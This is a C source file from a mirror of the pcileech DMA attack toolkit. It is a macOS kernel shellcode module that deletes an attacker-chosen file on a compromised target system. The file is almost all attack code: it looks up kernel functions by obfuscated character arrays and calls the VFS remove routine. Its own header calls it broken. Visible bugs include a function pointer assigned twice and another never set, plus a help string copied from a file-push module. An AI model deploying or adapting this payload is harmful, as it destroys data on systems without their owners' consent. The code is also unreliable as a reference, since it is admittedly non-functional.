mirror of
https://github.com/ufrisk/pcileech.git
synced 2026-05-10 15:48:46 +08:00
159 lines
6.1 KiB
C
159 lines
6.1 KiB
C
// ax64_filedelete.c : kernel code to delete files on target system.
|
|
// Compatible with Apple OS X.
|
|
//
|
|
// TODO: THIS IS CURRENTLY BROKEN! FIX THIS!!!
|
|
//
|
|
// (c) Ulf Frisk, 2016
|
|
// Author: Ulf Frisk, pcileech@frizk.net
|
|
//
|
|
// compile with:
|
|
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_common.c
|
|
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel ax64_filedelete.c
|
|
// ml64.exe ax64_common_a.asm /Feax64_filedelete.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main ax64_filedelete.obj ax64_common.obj
|
|
// shellcode64.exe -o ax64_filedelete.exe "DELETE FILES ON TARGET SYSTEM \nAPPLE OS X EDITION \n===============================================================\nDelete a specified file on the target system. \nREQUIRED OPTIONS: \n -s : file on target system. \n Example: '-s /tmp/file2delete' \n -0 : run flag - set to non zero to push file. \n===== DETAILED RESULT INFORMATION =============================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n==============================================================="
|
|
//
|
|
#include "macos_common.h"
|
|
|
|
#define CONFIG_MAX_FILESIZE 0x180000 // 1.5MB
|
|
|
|
typedef struct tdFN2 {
|
|
QWORD vnode_lookup;
|
|
QWORD vnode_getparent;
|
|
QWORD vnode_parent;
|
|
QWORD vnode_put;
|
|
QWORD VNOP_READ;
|
|
QWORD VNOP_OPEN;
|
|
QWORD VNOP_REMOVE;
|
|
QWORD uio_addiov;
|
|
QWORD uio_resid;
|
|
QWORD vfs_context_current;
|
|
QWORD uio_create;
|
|
QWORD uio_free;
|
|
QWORD strlen;
|
|
} FN2, *PFN2;
|
|
|
|
typedef struct componentname {
|
|
/*
|
|
* Arguments to lookup.
|
|
*/
|
|
DWORD cn_nameiop; /* lookup operation */
|
|
DWORD cn_flags; /* flags (see below) */
|
|
#ifdef BSD_KERNEL_PRIVATE
|
|
vfs_context_t cn_context;
|
|
struct nameidata *cn_ndp; /* pointer back to nameidata */
|
|
|
|
/* XXX use of these defines are deprecated */
|
|
#define cn_proc (cn_context->vc_proc + 0) /* non-lvalue */
|
|
#define cn_cred (cn_context->vc_ucred + 0) /* non-lvalue */
|
|
|
|
#else
|
|
void * cn_reserved1; /* use vfs_context_t */
|
|
void * cn_reserved2; /* use vfs_context_t */
|
|
#endif
|
|
/*
|
|
* Shared between lookup and commit routines.
|
|
*/
|
|
char *cn_pnbuf; /* pathname buffer */
|
|
int cn_pnlen; /* length of allocated buffer */
|
|
char *cn_nameptr; /* pointer to looked up name */
|
|
int cn_namelen; /* length of looked up component */
|
|
DWORD cn_hash; /* hash value of looked up name */
|
|
DWORD cn_consume; /* chars to consume in lookup() */
|
|
} COMPONENTNAME;
|
|
|
|
BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
|
|
pfn2->vnode_lookup = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'l', 'o', 'o', 'k', 'u', 'p', 0 });
|
|
pfn2->vnode_parent = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'a', 'r', 'e', 'n', 't', 0 });
|
|
pfn2->vnode_parent = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'g', 'e', 't', 'p', 'a', 'r', 'e', 'n', 't', 0 });
|
|
pfn2->vnode_put = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'u', 't', 0 });
|
|
pfn2->VNOP_READ = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'A', 'D', 0 });
|
|
pfn2->VNOP_OPEN = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'O', 'P', 'E', 'N', 0 });
|
|
pfn2->VNOP_REMOVE = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'M', 'O', 'V', 'E', 0 });
|
|
pfn2->uio_addiov = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 });
|
|
pfn2->uio_resid = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 'u', 'i', 'o', '_', 'r', 'e', 's', 'i', 'd', 0 });
|
|
pfn2->vfs_context_current = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 });
|
|
pfn2->uio_create = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 });
|
|
pfn2->uio_free = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 });
|
|
pfn2->strlen = LookupFunctionOSX(pk->qwAddrKernelBase,
|
|
(CHAR[]) { '_', 's', 't', 'r', 'l', 'e', 'n', 0 });
|
|
for(QWORD i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {
|
|
if(!((PQWORD)pfn2)[i]) {
|
|
return FALSE;
|
|
}
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
VOID c_EntryPoint(PKMDDATA pk)
|
|
{
|
|
FN2 fn2;
|
|
DWORD status = 0;
|
|
QWORD vnode = 0, vnode_p = 0, vfs_current;
|
|
COMPONENTNAME cn;
|
|
if(!pk->dataInStr[0]) {
|
|
pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;
|
|
return;
|
|
}
|
|
if(!LookupFunctions2(pk, &fn2)) {
|
|
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
|
|
return;
|
|
}
|
|
SysVCall(pk->fn.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH);
|
|
vfs_current = SysVCall(fn2.vfs_context_current);
|
|
if(SysVCall(fn2.vnode_lookup, pk->dataInStr, 2, &vnode, vfs_current)) {
|
|
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
|
goto error;
|
|
}
|
|
|
|
|
|
|
|
|
|
SysVCall(pk->fn.memset, &cn, 0, sizeof(COMPONENTNAME));
|
|
cn.cn_nameiop = 2; // DELETE
|
|
cn.cn_flags = 0x00008000; // last with this pathname
|
|
cn.cn_reserved1 = vfs_current;
|
|
//cn.obsolete1 = (VOID*)vfs_current;
|
|
cn.cn_pnbuf = pk->dataInStr;
|
|
cn.cn_pnlen = sizeof(pk->dataInStr);
|
|
cn.cn_nameptr = cn.cn_pnbuf;
|
|
cn.cn_namelen = SysVCall(fn2.strlen, pk->dataInStr);
|
|
//cn.obsolete2 = vfs_current;
|
|
|
|
//pk->dataOut[2] = SysVCall(fn2.vnode_getparent, vnode);
|
|
vnode_p = SysVCall(fn2.vnode_parent, vnode);
|
|
pk->dataOut[2] = vnode_p;
|
|
/*SysVCall(fn2.vnode_lookup, (CHAR[]) { '/', 'v', 'a', 'r', '/', 'r', 'o', 'o', 't', 0 }, 2, &vnode_p, vfs_current);
|
|
pk->dataOut[3] = vnode_p;*/
|
|
|
|
QWORD vnode_2 = 0;
|
|
pk->dataOut[4] = SysVCall(fn2.VNOP_OPEN, vnode_p, &vnode_2, &cn, vfs_current);
|
|
pk->dataOut[5] = vnode_2;
|
|
|
|
|
|
if(SysVCall(fn2.VNOP_REMOVE, vnode_p, vnode, &cn, 0, vfs_current)) {
|
|
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
|
goto error;
|
|
}
|
|
status = 0x777;
|
|
|
|
error:
|
|
if(vnode) {
|
|
SysVCall(fn2.vnode_put, vnode);
|
|
}
|
|
if(vnode_p) {
|
|
SysVCall(fn2.vnode_put, vnode_p);
|
|
}
|
|
pk->dataOut[0] = status;
|
|
} |